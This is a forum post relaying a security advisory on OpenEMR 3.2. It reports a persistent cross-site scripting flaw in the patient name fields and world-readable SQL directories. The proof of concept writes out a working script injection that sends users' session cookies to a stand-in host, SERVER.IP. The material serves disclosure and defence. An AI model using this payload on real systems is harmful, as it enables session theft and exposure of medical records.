bradymiller wrote on Wednesday, June 02, 2010:
hey,
Got the following email regarding a security issue (I directed the author to this forum and asked him to put a bug report in our tracker):
Hello Brady,
My name is David Shaw and I am a security engineer at Redspin, Inc.
While using your software, I noticed that there are some security problems (including session-stealing cross-site scripting) that should be fixed. I have written up these problems into an advisory, which is attached to this email.
Thank you for your time,
David Shaw
Redspin Security Notice - RSN-2010-01
Multiple vulnerabilities in OpenEMR Electronic Medical Record Software
Overview
Quote from http://www.oemr.org/
OpenEMR is a free medical practice management, electronic medical records,
prescription writing, and medical billing application. These programs are also
referred to as electronic health records. OpenEMR is licensed under the General
Gnu Public License (General GPL). It is a free open source replacement for
medical applications such as Medical Manager, Health Pro, and Misys. It features
support for EDI billing to clearing houses such as Availity, MD-Online, MedAvant
and ZirMED using ANSI X12.
Description
Two issues were discovered with the OpenEMR standard installation.
Primarily, there exists a persistent cross-site scripting (XSS) attack vector,
in which a patient may be maliciously named in a way that will send session data
to a third party web host.
Additionally, certain directories (including SQL configurations) are world
readable which results in sensitive information disclosure.
Details
Vulnerable Product : OpenEMR 3.2
Vulnerability Type : Session-stealing XSS & Directory Listing
Discovered by : David Shaw (dshaw@redspin.com)
Timeline
Bug Discovered : May 14, 2010
Vendor Advised : –
Additional info sent : –
Vendor Response : –
Vendor recontacted : –
Vendor Response : –
Public Disclosure : –
Analysis
Due to an incorrectly sanitized input in the “patient name” field, it is
possible to create a malformed patient name that will translate into a
persistent cross site scripting exploit.
Due to the nature of the form, “First Name” and “Last Name” are reversed in the
resulting output. As such, the Javascript injection must start on “last name”
and continue on to “first name.”
Furthermore, there is a comma in between these two outputs which must be taken
into account by inserting Javascript comments between the two injections. A
working demonstration of this persistent XSS is available in the “Proof of
Concept” section of this notice.
In addition to the cross-site scripting vulnerability, certain sensitive
directories are open by default and world-readable. For example, the
database.sql file may be read at http://server/openemr/sql/database.sql
Proof of Concept
Bug #1: Persistent Cross-Site Scripting
Once logged into OpenEMR, navigate to Management->New/Search. The resulting
menu will have form inputs for patient information. The malicious
input is as follows:
\(First Name\): \*/I.src='<http://SERVER.IP/>'+encodeURI\(C\);</script>
\(Last Name\): <script>var C=document.cookie;var I=new Image; /\*
The resulting statement in the output is:
<script>
var C=document.cookie;
var I=new Image;
/\*, \*/
I.src='<http://SERVER.IP/>'+encodeURI\(C\);
</script>
When this patient has been inserted, it will show up as a blank name in the
patient database. However, when any user attempts to search for a patient
or view the list of existing patients, his session ID is sent \(silently\)
to web server logs \(in this case, to SERVER.IP\).
Bug \#2: Directory Listing
Various files containing sensitive information are world-readable.
Furthermore, there is no index.html file in the directory which would deny
enumeration of files.
http://localhost/openemr/sql/
http://localhost/openemr/sql/database.sql
Solution
Will be included after vendor response is received.